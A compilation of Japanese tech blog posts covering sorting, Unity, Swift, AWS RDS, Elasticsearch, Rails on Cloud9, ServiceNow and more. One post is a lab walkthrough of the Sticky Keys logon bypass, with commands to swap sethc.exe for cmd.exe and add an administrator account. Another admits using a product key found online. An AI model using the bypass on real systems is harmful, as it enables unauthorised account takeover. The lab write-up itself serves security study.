インストール後再起動を行い，アプリケーションフォルダにインストールされている ASIX_USB_Device_App を起動する．
<img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1037849/57e2e2aa-a259-e23d-5e3a-798de4d8102f.png" width="20%">


”Activate”ボタンを選択し，Macを再起動．
※機能拡張がブロックされるので，システム環境設定 > セキュリティーとプライバシー より許可が必要．

# 結果
![スクリーンショット 2022-06-01 18.59.24.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1037849/f3844bd2-3641-b7fb-1c7e-f802c8b7d3a9.png)
やったー！ これで使い続けられます:)
挿入ソート

## はじめに

今まで標準ライブラリに実装されているソートを利用していたが、アルゴリズムをイチから勉強しなおそうと思った。

## 挿入ソートとは
１つずつ数字を取り出して、それをその時点ですでにソートされている並びの適切な位置に挿入するソート手法。

### 具体例と計算量
![tmp.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1199864/0ce5b17d-9ff6-5412-78f2-ec9c5a940d2e.jpeg)




### ソースコード
数字配列を受け取って、並び替えて返す関数を作成。
```cpp
vector<long> insertSort(vector<long> v)
{
	long len = v.size();

	for (long i = 1; i < len; i++)
	{
		// 挿入しようとしている数字が比較対象より小さい限り入れ替え
		for (long j = i; j > 0; j--)
		{
			if (v[j] < v[j - 1])
			{
				long tmp = v[j];
				v[j] = v[j - 1];
				v[j - 1] = tmp;
			}
			else
			{
				break;
			}
		}
	}
	return v;
}
```


## 今後に向けてメモ
* 上述のコードだと`vector<long>`のソートしかできないため、`string,vector<int>`とか配列型なら何でもソートできるようにしたい(Template使うのかな？)
* 受け取った配列をソートして返すのではなく、実際のアドレスにアクセスして参照渡しをしたほうが無駄にメモリを使わない気がする
UnityのVideoPayerにGoogle Driveに上げた動画を再生する


Unity内で動画を再生させたい！ローカルではなくサーバーなどにアップロードしたものをダウンロードして使用したい！できれば無料のサーバーに上げたい！ということありますよね。

私は昔Dropboxを使っていました。
共有リンクを発行して
`https://www.dropbox.com/s/a1b2c3d4ef5gh6/example.docx?dl=0`
`dl=1`に変えると
`https://www.dropbox.com/s/a1b2c3d4ef5gh6/example.docx?dl=1`
直接ダウンロードできるリンクになります。

テスト的にやる場合はこれでよかったのですが、Dropboxの容量制限がキツくなり **「Google Driveでやりたい」** という気持ちが高まる中、どうやればいいか、わからず月日が過ぎました...

そんなときに

https://creator.cluster.mu/2021/02/04/set-up-movie/

この記事にやり方が書いてありました。
ありがとう。

これでGoogle Driveから動画をダウンロードしてUnityのVideo Playerで再生することができます。

以下引用です。
```
https://drive.google.com/open?id=<ファイルID>
https://drive.google.com/file/d/<ファイルID>/view?usp=sharing
    ↓
https://drive.google.com/uc?id=<ファイルID> 
```
こうすればよかったんや...ありがとうございます。

以上、UnityのVideoPayerにGoogle Driveに上げた動画を再生する、でした。
[Swift]数字を日本円表示（3桁ごとにカンマを入れる）にするformatを自作

## はじめに

固定費管理アプリを自作する際、¥(円)表示で3桁ごとにカンマを入れたい！ということがありました。

全ての箇所を円表示にする必要があったので、Extensionで作成しました。

コピペで使うことができます。

## コード

```ruby: Int+.swift

import Foundation

extension Int {
    private static let numberFormatter: NumberFormatter = {
        return NumberFormatter()
    }()
    var withCommaString: String {
        Int.numberFormatter.numberStyle = .decimal
        Int.numberFormatter.groupingSeparator = ","
        Int.numberFormatter.groupingSize = 3

        return Int.numberFormatter.string(from: NSNumber(value: self)) ?? "\(self)"
    }
}

```

## 使い方

```ruby:  

let sampleValue: Int = 100000


print("\(sampleValue.withCommaString)円")
# 出力//　　　　100,000円
```

ちなみにですが、Int型からString型に変換するExtensionものせておきます。

```ruby:  
extension Int {
    func toString() -> String {
        return "\(self)"
    }
}

print(4.toString())
# 出力//　   "4"

 ```
Lenovo B50-30のリカバリ失敗のち成功

Win 10にアップグレードしてあったLenovoのノートなのですが、ディスプレーが時々ノイズになり、叩くと直ったので、どんどんしてたら、ハードディスクがいかれたみたいなので、SSDにて交換しWindowsのインストールを試してみました。

Lenovoのサイトにリカバリ用のディスクイメージをダウンロードできるような事が書いてあるのですが、シリアルを入れても対応してないって言われます。

マイクロソフトにあったコマンドでWindows 10のインストール用のイメージをWindows 7で作ろうとしたらエラーがでます。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/104066/d2fbee66-0d38-df8b-e219-f3c7089c5579.png)

仕方がないのであきらめてWin 8.1のisoイメージをUSBメモリに焼いてインストールを試みます。

インストールの最初にプロダクトキーが要求されますが、Win 8で出荷されたノートなのでプロダクトキーのシールがありません。

BIOSを見るとPreinstalled OS Licenceの項目があるのでデジタルプロダクトキー(DPK)対応しているものと思われますが、なぜインストーラーがそれをみないのでしょうか。

とりあえずネットで適当なキーを拾ってみてインストールします。

インストールは出来たので、DPKからプロダクトキーを拾うコマンドがネットにあったのでそれで拾ってライセンスに入れたら受け付けられません。

```
wmic path SoftwareLicensingService get OA3xOriginalProductKey
```

ひょっとして、Win10にアップしたときDPKが書き換えられてる？

DPKの入力なんてページもあって、BIOSにプロダクトキーが入ってて入力しなくていいのがDPKなんじゃないって突っ込みを入れたくなります。

マイクロソフトのページのところどころのリンクが、firefoxで開きません。あとマイクロソフトもLenovoもぽつぽつリンク切れがあります。

なんでこんなむちゃくちゃなのかな。。。

ピーコしたキーでインストールした8.1で10のインストールメディアを8GのUSBメモリに作成してインストールしたところ、インストールできました。ライセンス違反しないと正規ライセンスがインストールできないって、なんか変ですよね。

おそらくWin10にしてなければ、Win8.1ではライセンスキーの入力は出てこない気がします。

どうもDPKは後戻りできないようです。

Win10が動いていてHD交換するのであれば事前にインストールメディアを作っておいて交換してインストールできますが、Win10が動かなくなってからの復旧はかなり大変です。

LinuxやFreeBSDをインストールする事もちょっと考えたのですが、ディスクトップは面倒なので、WinかMacがいいです。WinやMacだけでもあっぷあっぷなのにLinuxやFreeBSDのディスクトップを覚えるのは不可能です、

Win10のライセンス無しのインストールメディアって正規の入手方法ってあるのかな？PC一台しかもってないと、DPKでPCにキーが入ってても復旧できないよね。もはや二台持ち前提で設計されているのかもしれません。

このマシンはBIOSへ入るのはF2でした。また以下のNOVOボタンの穴が右側のUSBのわきにあるので、これを押して起動してメニューで選んでも入れます。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/104066/00ecb6b9-bc89-e3a3-5523-60fba6de907c.png)

試してませんが、プリインストールされたWin8の頃はNOVOボタンでリストアできたのかもしれませんが、Win10にアップグレードして、おそらく出来なくなってるような気がします。

リカバリーディスクをダウンロードするためにLenovoに登録したのですが、リカバリーディスクはダウンロードできない上にダイレクトメールまで届きました。ほとんど詐欺です。
RDSのKMSキー変更でコンソール表示に惑わされた話（MySQL）

先日RDSのKMSキーをマネージドキー(aws/rds)からカスタムマネージドキーに変更する作業を行ったのですが、RDSのコンソール画面に惑わされて時間がかかってしまったので備忘録として書いておきます。


## 何に戸惑ったのか
RDSのKMSキー変更の手順は[こちらの通り](https://aws.amazon.com/jp/premiumsupport/knowledge-center/update-encryption-key-rds)で、
①対象RDSのスナップショットを取得
②そのスナップショットをコピー　※この段階で変更したいキーで暗号化選択を必ず行う
③コピーしたスナップショットからRDSを復元

といった流れで対応します。

<br>
<br>
何に時間をとられたか、というと<br>
1．②スナップショットのコピーと、③RDS復元の両段階でKMSキーを指定選択するものと認識していた
<br>↓<br>
2．あれ、③RDS復元段階でコンソール画面上KMSキー選択欄がグレーアウトしている…選択できないぞ？！しかも選択されているキーがマネージドキー(aws/rds)のままみたいに見えるぞ？！
<br>↓<br>
3．手順を間違えている？スナップショットのコピー時にKMSキー選択がきちんと出来ていなかった？<br>
そもそもKMSキーのポリシー設定が間違っているとか？…etc別途調査に時間がかかる
<br>↓<br>
4．特に進捗なし。とりあえずえいやで作成してみよう
<br>↓<br>
5．え、問題なく作成できてる…KMSキーもカスタムマネージドキーにちゃんと変更できているな…！
<br>↓<br>
完。（あのコンソール画面は一体なんだったんだ？！）
<br>
<br>

といった感じで、原因調査に時間がかかってしまいました。検証不足ですね…
Amazon Auroraで以前同様の作業をした際には確か②スナップショットのコピーと、③RDS復元の両段階でやった記憶があったために、まあいけるだろうと検証が中途半端だったことが原因です。

## 検証してみた
作業は問題なくできたものの、なんだかとても悔しかったので後日検証してみました。
Amazon Auroraとそれ以外(今回はMySQL選択)で比較してみました。
<br>
**②スナップショットのコピー時**
どちらもスナップショットのコピー段階はKMSキー選択必須でした。![スナップショットのコピー時.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1949152/8d46a2bd-8fa6-25b9-b7cb-b58f69281c60.png)**③RDS復元時～Amazon Auroraの場合～**
復元段階でもKMSキーが選択できるようになっています。
![Aurora復元時.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1949152/532adaed-38e1-6ebf-e004-acd666fbcfb6.png)
**③RDS復元時～Amazon Aurora以外(今回はMySQL)の場合～**
KMSキーの選択が出来ない＆デフォルトKMSキーであるaws/rdsキーが選択されているように見えます…！！！が、前段階であるスナップショットのコピー時に、指定したいキーでの暗号化を選択できていればこのまま復元を進めて問題ありません（トラップ？）。復元後のRDSでKMSキーが変更できているかは確認お忘れなきよう！
![MySQL復元時 (2).png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1949152/59abef48-506e-8847-a94c-ebb6a485d59a.png)

:::note warn
**Amazon Auroraの場合：②スナップショットのコピー＆③RDS復元時にてKMSキー選択必須！**
**Amazon Aurora以外の場合：②スナップショットのコピー時のみKMSキー選択必須！**
:::

<br>

## まとめ
ここまでつらつら書いてきて、本事象に関してAWSの公式ドキュメント等に記載があったら大変申し訳ないです(ブログやドキュメント等漁ったのですが見つからず…あれば教えていただけると嬉しいです！)。
以上わたしがハマったRDSコンソール画面に惑わされた話でした。
Elastic Search: Prefix Queryでは解析が行われないよ

```ruby
simple_query_string: {
  query: "#{query}*", # <- 語尾の * に注目
  fields: %w(name, name_k eyword),
  default_operator: :OR
}
```

ここでは、 `simple_query_string` を用いているが syntax として `*` 利用している。
https://www.elastic.co/guide/en/elasticsearch/reference/current/query-dsl-simple-query-string-query.html#simple-query-string-query-notes
simple query string syntaxの説明として、

> * at the end of a term signifies a prefix query

単語の最後にある `*` は、 prefix queryを示している。
と説明がある。

このprefix query、結構罠があって通常 Tokenizer に指定した方法で文字列が token化されると思うが、prefix queryの場合 not analyzed な query らしくトークン化の処理が行われない。
https://christina04.hatenablog.com/entry/2016/05/13/120413

トークン化が行われないということで、上の記事を見る感じ token filterも適用されないみたい。

ただし、character filterは行われる。（今回例を載せないが、実装してみた時に確認済み）
こういうケースも踏まえて token filter と character filterは厳密に使い分けたほうが良いなと思った。

特に、[pattern replace](https://www.elastic.co/guide/en/elasticsearch/reference/current/analysis-pattern_replace-tokenfilter.html) は token filter にも character filterにも存在する。

どっちに書いても同じっしょっていうノリで使ってしまうと予想外な検索結果になるかも？
Kali Linux2022.1 でハッキングラボをつくってみる11 Sticky Keys機能を悪用したログオン突破

# はじめに
「ハッキング・ラボのつくりかた」p.660-672を参考にした。

:::note alert
注意事項
記事で紹介されている行為を他人や団体、インフラなどの許可を得ずに行った場合、犯罪となる可能性が有ります。
あくまでも、記事の内容は情報セキュリティの学習です。読者様の所有・管理の機器、システムでのみ実行してください。
また、読者さまのシステムにトラブルが起きたとしても、私は責任を負いかねます。
:::

# どのようなハッキング手法か
Sticky keys機能は、補助キー(shift,ctrl,alt,Winキー）と他のキーの同時入力が難しい場合のユーザー補助機能。
Windowsキーを５回押下すれば、Sicky keysを有効にするかどうかの確認ダイアログが表示される。
これを悪用することで、ローカルアカウントのパスワードをリセットしたり、新しい管理者ユーザーを作ることが可能。

# やってみる
targetPC : VirtualBoxにインストールしたWindows7 32bit版
使用するもの　: Windows10 32bit版インストール用ISO
**※CPUのビット数を揃える**

VirtualBoxのブートシーケンスが、ISO(CD/DVD,USBメモリ)が最初に来るようにする。isoからブートする。
![VirtualBox_IE10 - Win7_01_06_2022_16_02_00_sticky1.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/535888/3f8f708b-fa5d-4f55-32e3-d0fbd057c171.png)
以下、「次へ」>「コンピュータを修復する」>「トラブルシューティング」>「コマンドプロンプト」を辿る。

![VirtualBox_IE10 - Win7_01_06_2022_16_07_04_sticky2.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/535888/3e9a97e2-3f78-43bd-723b-05a77f799dfc.png)
**コマンドプロンプト**
![VirtualBox_IE10 - Win7_01_06_2022_16_15_13_sticky3.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/535888/59bfef5d-2ea5-4135-f959-00366a306d94.png)
ドライブが見かけ上かわっていることがある。当方の環境では、C:\。
```:X:\Sources
c:
```
```:C:\
dir
//dirで、カレントディレクトリを確認する。
cd Windows\system32
copy setc.exe sethc_old.exe
copy cmd.exe sethc.exe
//sethc.exeを上書きする。
```
sethc.exeは、Sticky Keys機能を提供するプログラム
- PCを再起動する。

**ブートメディア(ISO,CD/DVD,USBメモリ)を取り出してから**、PCを再起動する。
```
shutdown /r /t 0
```
再起動時のログオン画面で、Shiftキーを五回連打すると、コマンドプロンプトが起動する。
![VirtualBox_IE10 - Win7_01_06_2022_16_46_56_sticky4.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/535888/76fef1d4-ea45-4dea-61bd-38d893996418.png)

プロンプト上で、次のコマンドを実行する。
```
whoami
//ユーザー権限の確認
net user target aaa111 
//パスワード変更
net user bypass bypass /add
//ユーザー追加
net localgroup administrators bypass /add
//管理者権限を付与する。
```
![VirtualBox_IE10 - Win7_01_06_2022_17_30_01_sticy5.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/535888/3a4ef9bf-9c3b-0820-f7a0-77abe1eb1ae9.png)

targetユーザーのパスワード変更と、administrator権限を持つbypassユーザーの作成を確認出来た。

# 後始末
ブートメディアからコマンドプロンプトをたちあげて、コマンドを実行する。
```
copy sethc_old.exe sethc.exe
```

# おわりに
「ハッキング・ラボのつくりかた」

https://securitychecklist.net/security/cyber-attack/StickKeyAttack.html
AWS Cloud9でRailsサーバーにアクセスできない場合の対処法

こんにちは！昔恩師に「できるエンジニアには巨漢が多いんや、Appleがそうやったように」
って言われて以来、ずっとその言葉を信じているUD(ゆーだい)です。

今回は、Railsチュートリアルでも使用されるAWS Cloud9で一度は引っかかるプレビュー時のあれこれについてメモ程度に記事にしていこうと思います。

# AWS Cloud9とは
そもそもAWS Cloud9とはなんぞやという人はこの記事は読まないと思うのですが、一応説明するとAmazon Web Serviceで提供されているオンライン統合開発環境(IDE)のことです。

もっと簡単に言うと、ブラウザで動かせるエディタだと思ってください。

### メリット
1. オンライン環境であれば、PCスペックにほとんど依存せず開発が可能
2. 共同編集機能やチャット機能がついている
3. 他のAWSサービスにアクセスしやすい

### デメリット
1. オフライン環境では開発できない（今時オフラインで開発しないですよね...?）
2. ターミナルやエディタが見ずらい
3. 使用方法によっては有料になる

メリットとデメリットを見比べると、やっぱり個人で開発する範囲であれば無理に使う必要もないのかと思ってしまいますね。。。
ただ、これからAWSにデプロイしようと考えているのであれば、３番目のメリットはそれなりに大きそう?

# Railsの開発環境の構築
一応こちらも、参考になる記事はありますが、簡単に手順を記載しておきます。
#### 1. AWS Consoleにログインする
AWSのアカウントを作成し、[AWS Console](https://aws.amazon.com/jp/console/)にログインしてください。

#### 2. 環境の作成
Cloud9の管理画面から、`Create enviroments`をクリックし、必要情報を入力してください。
![スクリーンショット 2022-06-01 17.28.36.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2615389/dd2d6735-8521-871e-52b1-13cf01b3b64c.png)


#### 3. Railsのインストール
以下のコマンドで、必要なバージョンを指定し、インストールを行なってください。

```shell
gem install rails -v 6.0.4
```
#### 4. アプリケーションの作成
特に、railsのバージョンの変更がない場合は、上記でインストールしたバージョンに合わせてアプリケーションの作成を行なってください。
```shell
rails _6.0.4_ new test_app
```
#### 5. サーバーの立ち上げ
最後に、rails serverコマンドにてサーバーの立ち上げを行なってください。
```shell
rails server
```
ここまでは、基本的なCloud9での開発環境の構築ですね


# 失敗１：直接アドレスを叩きに行くが接続できない
これは、多くの初学者が一度はハマってしまう沼ポイントですね
ターミナルで、IP指定されてるんだからローカルでサーバー立てた時と同じように
アドレスを直でブラウザに打ち込んでもうんともすんとも言いません。

### 解決方法：Cloud9のプレビュー機能を使う
railsでサーバーを立ち上げた後、Cloud9のメニュー欄にある`Preview`の
`Preview Running Application`を押すことでPreviewウィンドウが立ち上がります。

# 失敗２：プレビューを開いたが、エラーメッセージが表示される
せっかくプレビューで開いたのに...ってところのなんですが
これの解決方法は至ってシンプルです。

### 解決方法：アクセスしたいホスト名を登録する
エラーメッセージに表示されているホスト名を`config/enviroments/development.rb`に記述することで
アクセスができるようになります。
```rb:config/enviroments/development.rb
config.hosts << "#ご自身のホスト名を記載してください"
```
もしくは、すべてのアクセスを許容する場合は
```rb:config/enviroments/development.rb
config.hosts.clear
```
と記載してください。後者が、Railsチュートリアルで指定があった接続方法ですね。

# 失敗３：エラーも解消したが、接続が拒否されたと表示される
これが最後の砦ですね。全部解決したのに、なんでプレビューで上記のように表示されるのか...
プレビューの右上にあるボタンをクリックすることでブラウザにホスト名が添付されます。
![スクリーンショット 2022-06-01 18.12.04.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2615389/66afdab8-b572-bae7-532b-c100168e101a.png)

# 3つの課題をクリアしてようやく接続できた！！
やったー！！！接続できた！！！
![スクリーンショット 2022-06-01 18.12.13.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2615389/8fbe051c-8409-ca18-8662-103604adceee.png)
AndroidStudioで!=を≠みたいに表示する方法

# エディターをかっこよくしたい
少し前にFlutterの動画をYouTubeで見ていたら、海外の方がコーディングしていた動画で、エディターの文字（字体）がカッコよかったので真似してみたいと思った次第です。

# 具体的に何をするのか
プログラミングでよく使う、`==`,`=>`,`!=`などの表記をカッコいい表記にしたいと思います。
個人的に`!=`より`≠`の方がかっこいいと思うので、今回はそれにも対応できるようにしていきたいと思います。

# やってみる
まず`AndroidStudio`を起動して`Preferences`>`Editor`>`Font`に移動します。
![qiita_before.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2567243/d008e9e3-67fd-a558-23f7-8b5c42dee026.png)
そして上の画像のように設定を変更します。
画像の中で`ligatures`というものを採用するようにしているのですが、
`ligatures`というのは、複数の文字を合成して一文字にしたもの。 抱き字、連字とも呼ばれる。 ユリウス・カエサルの表記「Julius Cæsar」の「æ」が典型的な合字の例である。
らしいです。
要はなんか、記号によってはつなげ字になるよってことだと思います。

# 結果
![スクリーンショット 2022-06-01 17.59.32.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2567243/93ef903f-296f-5e3e-2868-f17930f5c965.png)
画像の下の文字のプレビューのように`==`や`=>`、`!=`の表記が変わっているのがわかると思います。
# 最後に
エディターのフォントがカッコよくなって、モチベが2cmくらい上がりました！
気になった方はぜひやってみてください。

`vscode`で同様のことをしたい方↓
https://atmarkit.itmedia.co.jp/ait/articles/2106/18/news029.html
じょうご (ファネル) チャートを利用して営業パイプラインを可視化

### 1. 目的
じょうご (ファネル) チャート使って、営業パイプラインのフェーズに従った案件数の推移を可視化しようと思います。
じょうご (ファネル) チャート とは、瓶に液体を注ぐ時などに使われる ”じょうご” に似た形状のチャートで、フェーズが進むに従って数値が絞り込まれていく様子を示すときなどに使われます。例えば、営業パイプラインで、初回訪問から契約に至るまでの各ステップで、案件数がどのように推移していくかを示すときなどが該当します。あるいは、ホームページにアクセスしたユーザーが、最終的に購入に至るまでの行動などにも用いられます。
何はともあれ、まずはチャートを作成してみましょう。

## 2. データの準備とビューの作成
架空の売上実績データを用いて分析を行ってみます。今回は、既に集計済みの以下のテーブルを使います。
|フェーズ|件数|
|---|---|
|問い合わせ|1,000|
|初回訪問|850|
|プレゼンテーション|400|
|決済権限者面談|350|
|提案・POC |250|
|稟議|120|
|契約|110|

以下の情報を参考に[ビュー](https://wiki.yellowfin.co.jp/pages/viewpage.action?pageId=2294284)を作成します。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2128512/8ef7b6c3-f5f9-9f58-7860-71cf1acfa7e8.png)

「フェーズ」 軸に[参照コード]( https://wiki.yellowfin.co.jp/pages/viewpage.action?pageId=2294020)を設定しておくと、並び替えに便利で、また見た目にきれいな色を選択できます。例えば、以下のような感じの設定を施します。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2128512/cc1490d7-8802-541a-a253-698b928f8981.png)

## 4. グラフの作成
準備が整ったら、グラフの作成に手順を進めます。新規でレポートを作成し、以下の手順に従ってグラフを作成します。

#### 4-1. [データ] ステップ
ビューに設定した軸と集計値を全てテーブルに配置します。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2128512/01a97b04-6914-7cf4-1b7c-c44fcc550add.png)

#### 4-2. [グラフ] ステップ
[グラフの選択] > [特殊用途] から [じょうご] を選択します。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2128512/68b49ad3-0285-d4c0-0495-fd2092cdf251.png)
色に「フェーズ」、サイズに「件数」 をそれぞれ配置します。この時点では、まだチャートには既定の色が選択されています。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2128512/c7aa18a8-a534-a35e-a4c3-752217031238.png)
あまり格好良くないので、先の手順で設定した参照コードの色を適用させるために、[フェーズ] > [色] > [参照コード] を選択します。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2128512/77cbd1ec-c2a5-060e-21a7-3b1769044356.png)
 同様の手順で、並び順にも参照コードの設定内容を反映させるために、以下の選択をします。
・ [フェーズ] > [並べかえ] > [参照コード]
・ [フェーズ] > [並べかえ] > [昇順(1-9)]

これで出来上がりです。さて、「公開」 して動きをみてみましょう。

## 5. 分析
営業フェーズが住むにつれ、案件数が絞り込まれていく姿が分かりますね。同じものは棒グラフなどを使っても表現できるのですが、見た目に映えるチャートも時には必要です。
最終フェーズである「契約」からチャートを逆算して、契約 1 件当たりの平均金額が XXX であることを前提とすると、今年度の予算を達成させるためには何件以上の契約が必要で、そのためには最低限どの程度の案件が必要で、そのためにはあれやこれやの施策が、、、と記載していたら頭痛がしてきたのでこの辺りで話は切り上げたいと思います。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2128512/d0e12541-45d3-d266-33df-0a16e3e45d4a.png)

## 6. 最後に
じょうごを創薬の分野に活用できないかなと思い、[日本製薬工業協会]( https://www.jpma.or.jp/)の『DATA BOOK 2022』の情報を使って、基礎研究で発見された合成化学物が、非臨床試験、臨床試験などを経て、厚労省の承認を得るまでの流れを可視化しようとしたところ、2016～2020年のデータでは、なんと承認を得られる合成化学物の割合が約 0.0046% で、じょうごがほぼ基礎研究の色で塗りつぶされてしまいました。その様子がこちら。この場合、別のチャートで可視化した方がよさそうですね。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2128512/852d46ed-92a4-cca1-4607-b883ff093a02.png)
研究者の皆様の絶え間ない努力があって、我々の健康が維持されております。まじリスペクト！
では、良いデータ分析を! Cheers! Santé !
ElasticSearch Token filter と Character filterどっちで処理すればええねん！

# 概要
実装中に、Token filter と Character filterについて調べたのでその内容をメモ

# Token fiilter
Tokenizerへ渡す前に入力文字列を処理する

# Character filter
Tokenizerで処理され分割された文字列に対して処理する

# 明確な使い分けのシチュエーション
「ディズニー・ランド」
という文字があるとする。これを keyword typeとしてドキュメントに保存するとしよう。

## 要件
「・」という文字がなくても検索できるようにしたい

## 実装方法
「・」を除去した状態で、文字列を保存するようにする。
「ディズニー・ランド」 -> 「ディズニーランド」

この処理は、Token fiilter、Character filterのどちらで行えばよいだろうか？

### Token filterの場合
よく理解していなかった自分は、Token filterの Stop Token Filter使えばいいんじゃね？って思っていた。
しかし、今回対象とするドキュメントの型は keyword である。
よって、anayalzeされないので文字列は分割されずそのまま保存される。
したがって、Token filterが適用される文字列は、今回の例でいうと「ディズニー・ランド」そのものである。
これに対してStop Token Filterに stopword として「・」を指定しても、「・」が除去されるわけでない・・・
したがって、Stop Token filterを使えない。

この時点で、自分は Character filterへの実装へ切り替えた。
先にいうとCharacter filterの Mapping を用いた。
しかし、今記事を書いていてTokne filterの referenceを見てみると、 Token filterにもPatter replaceでも実装できそうなことに気づいた。あうち

### Character filterの場合
Mapping か Patter replaceで先に「・」を空文字にする処理を行う。

```ruby:mapping
"type": 'mapping',
"mappings": ['・ =>  ', '＆ =>  ']
```

# 結論
今回のシチュエーションでは多分どっちでもできる。
しかし、Stop Token Filterについては、normalizer に指定した時エラーでてたのでそこは謎
normalizer は結局keyword tokenizerのような挙動をするので、tokenizerによって使えるfilterが変わるのかな？とか思ってた
CentOSでwgetがインストール出来なかった時の話


今回はコマンドをインストールしたいのにインストールできなかった時の対処法を備忘録として残しておきます。


## やりたいこと
CentOSにwgetがインストールされていなかったので、インストールしたいと思っています

### 経緯

インストールしようとしたところ、以下のようにエラーが発生

```
# yum install wget
YumRepo Error: All mirror URLs are not using ftp, http[s] or file
```

## 対処方法
以下のように`sed`コマンドを用いてミラーリングリストからリポジトリを持ってきてからインストールすると上手くいきました。

```
# sed -i -e "s/^mirrorlist=http:\/\/mirrorlist.centos.org/#mirrorlist=http:\/\/mirrorlist.centos.org/g" /etc/yum.repos.d/CentOS-Base.repo
# sed -i -e "s/^#baseurl=http:\/\/mirror.centos.org/baseurl=http:\/\/vault.centos.org/g" /etc/yum.repos.d/CentOS-Base.repo
```
少しでもお役に立てれば幸いです。

## 参考資料

https://www.na3.jp/entry/20201206/p1
【ServiceNow】ログイン直後に一度だけ特定URLにリダイレクトする

## 概要
Version: San Diego

ServiceNowへのログイン直後に**一度だけ**特定URLにリダイレクトする設定方法を説明します。
設定手順は大まかに以下です。
1. System Properties（glide.entry.first.page.script）の作成
2. Script Include（SPEntryPage）の編集

### 補足
公式ドキュメント[^1]やQiita記事[^2]の記載内容では確かにログイン直後に特定URLにリダイレクトしてくれますが、それ以外のServiceNow操作時に意図しない画面表示となる場合があります。
（ServiceNowのPlatformUIを開こうとすると意図しない画面にリダイレクトされてしまう、など）

こういった挙動になってしまうことはKBでも紹介されています[^3][^4]。

これを避けるため、本記事ではSPEntryPageにて初回セッションのみgetFirstPageURLを実行する、という処理を追記しています。

## [手順1] System Properties（glide.entry.first.page.script）の作成
※本手順は公式ドキュメント[^1]にて紹介されているものと同一です。
(1-1)以下のようにSystem Propertiesを新規作成します
* Name: glide.entry.first.page.script
* Type: String
* Value: new SPEntryPage().getFirstPageURL()

## [手順2] Script Include（SPEntryPage）の編集
(2-1) Script Includeの「SPEntryPage」を開きます
(2-2) 22行目あたりを編集し、ログイン直後にリダイレクトさせたいURLを指定します
```javascript:SPEntryPage
	initialize: function() {
		this.logVariables = false;  // for debugging 
		this.portal = "/sp/";  //<- ココ    // The URL suffix specified in the sp_portal record
	},
```
(2-3) 69-70行目あたりを編集し、本スクリプトを適用 **させない** ユーザーの条件を指定します
※デフォルトではログイン試行ユーザーがロールを持っている場合に適用 **させない** 設定になっています
```javascript:SPEntryPage
getFirstPageURL: function() {
	......
	if (user.hasRoles() && !redirectURL && !isServicePortalURL) //<- ココ
		return;
	......
```
(2-4) 63行目あたりと112行目あたりを編集し、本スクリプトが初回セッションのみ実行されるようにします
※セッションに含まれる「firstlogin」がnullの場合だけ本スクリプトを実行する処理を追記しています
※「firstlogin」とfirstloginの中に入れる値はなんでも大丈夫です
```javascript:SPEntryPage
getFirstPageURL: function() {
		
	var session = gs.getSession();
	this.logProperties('before', session);
		
	var f = session.getClientData('firstlogin');  //<- 63行目あたりにコレを追記
		
	if(f==null){  //<- 63行目あたりにコレを追記
		var nt = session.getProperty("nav_to");
		var isServicePortalURL = new GlideSPScriptable().isServicePortalURL(nt);
		var redirectURL = session.getProperty("login_redirect");

		......
		......

		if (!this.logVariables) {
			gs.log('redirectURL: ' + redirectURL);
			gs.log('User: ' + user.getName());
			gs.log('is internal: ' + (!user.hasRoles()));
			gs.log('returnUrl: ' + returnUrl);
		}
		session.putClientData('firstlogin', 'done');  //<- 112行目あたりにコレを追記
		return returnUrl;
	}else{  　　　　　　　　　　　//<- 112行目あたりにコレを追記
		return;  //<- 112行目あたりにコレを追記
	}  　　　　　　　　　　　　　　　　　　　　//<- 112行目あたりにコレを追記
},
```

## 参考文献
[^1]:[Single sign-on, logins, and URL redirects](https://docs.servicenow.com/bundle/sandiego-servicenow-platform/page/build/service-portal/concept/c_SPSSOLoginAndRedirects.html)
[^2]:[ServiceNowでログイン直後に特定のURLにRedirectする - Qiita](https://qiita.com/20_percent_cooler/items/012f9d780fc61e289a97)
[^3]:[How to configure redirection for Service Portal - Support and Troubleshooting - Now Support Portal](https://support.servicenow.com/kb?id=kb_article_view&sysparm_article=KB0746730)
[^4]:[Frequently Asked Questions on redirection with service portal - Support and Troubleshooting - Now Support Portal](https://support.servicenow.com/kb?id=kb_article_view&sysparm_article=KB0747432)
JupyterLab ipywidgets でメイン画面?に表示するメモ

ipywidgets での処理(e.g. button on_click で呼び出された先の関数)で print とかしてもメイン画面に表示されん..

https://blog.amedama.jp/entry/ipywidgets-jupyter-ui

output 使うのもありますが, HTML ウィジェットで表示がいいかもです!

# HTML ウィジェットで表示

`.value` に HTML コード記載でいけます!

```python
result_label = widgets.HTML("Result...")

result_label.value += "<p>Hello</p>"
```

とかでいけます!

## ボタン押したらとか

`on_click` ではそのままでは引数とか渡せませんが,
functools.partial 使って引数で渡せます.

https://github.com/jupyter-widgets/ipywidgets/issues/2103

```python
def myfunc(b, html_label):
   html_label.value += "<p>Clicked!</p>"

